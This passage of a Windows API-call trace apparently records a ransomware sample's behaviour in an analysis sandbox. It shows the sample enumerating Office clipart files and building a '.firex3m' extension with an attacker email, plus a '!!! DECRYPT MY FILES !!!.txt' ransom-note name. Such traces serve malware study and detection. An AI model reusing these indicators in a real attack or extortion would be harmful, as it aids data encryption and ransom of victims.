Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 1 [0131.769] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf") returned 0x44 [0131.769] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.769] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.769] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.769] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.769] GetProcessHeap () returned 0x630000 [0131.769] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xa8) returned 0x66a3e0 [0131.770] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0131.770] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 1 [0131.770] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf") returned 0x44 [0131.770] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.770] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.770] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.770] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.770] GetProcessHeap () returned 0x630000 [0131.770] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xac) returned 0x66a3e0 [0131.770] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0131.770] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 1 [0131.770] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf") returned 0x44 [0131.771] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.771] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.771] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.771] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.772] GetProcessHeap () returned 0x630000 [0131.772] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xb0) returned 0x66a3e0 [0131.772] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0131.772] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 1 [0131.772] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf") returned 0x44 [0131.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.772] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.772] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.772] GetProcessHeap () returned 0x630000 [0131.772] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xb4) returned 0x66a3e0 [0131.772] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0131.773] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 1 [0131.773] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf") returned 0x44 [0131.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.773] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.773] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.773] GetProcessHeap () returned 0x630000 [0131.773] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xb8) returned 0x66a3e0 [0131.773] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0131.773] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 1 [0131.773] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf") returned 0x44 [0131.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.774] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.774] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.774] GetProcessHeap () returned 0x630000 [0131.774] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xbc) returned 0x66a3e0 [0131.774] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0131.774] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 1 [0131.774] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf") returned 0x44 [0131.774] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.774] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.774] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.774] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.774] GetProcessHeap () returned 0x630000 [0131.775] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xc0) returned 0x66a3e0 [0131.775] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0131.775] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 1 [0131.775] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf") returned 0x44 [0131.775] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.775] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.775] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.775] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.775] GetProcessHeap () returned 0x630000 [0131.775] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xc4) returned 0x66a3e0 [0131.775] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0131.775] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 1 [0131.775] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf") returned 0x44 [0131.776] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.776] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.776] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.776] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.776] GetProcessHeap () returned 0x630000 [0131.776] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xc8) returned 0x66a3e0 [0131.776] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0131.776] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 1 [0131.776] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf") returned 0x44 [0131.776] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.776] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.776] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.776] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.777] GetProcessHeap () returned 0x630000 [0131.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xcc) returned 0x66a3e0 [0131.777] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0131.777] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 1 [0131.777] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf") returned 0x44 [0131.777] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.777] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.777] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.777] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.777] GetProcessHeap () returned 0x630000 [0131.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xd0) returned 0x66a3e0 [0131.777] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0131.777] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 1 [0131.778] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf") returned 0x44 [0131.778] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.778] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.778] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.778] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.778] GetProcessHeap () returned 0x630000 [0131.778] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xd4) returned 0x66a3e0 [0131.778] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0131.778] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 1 [0131.778] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf") returned 0x44 [0131.778] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.778] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 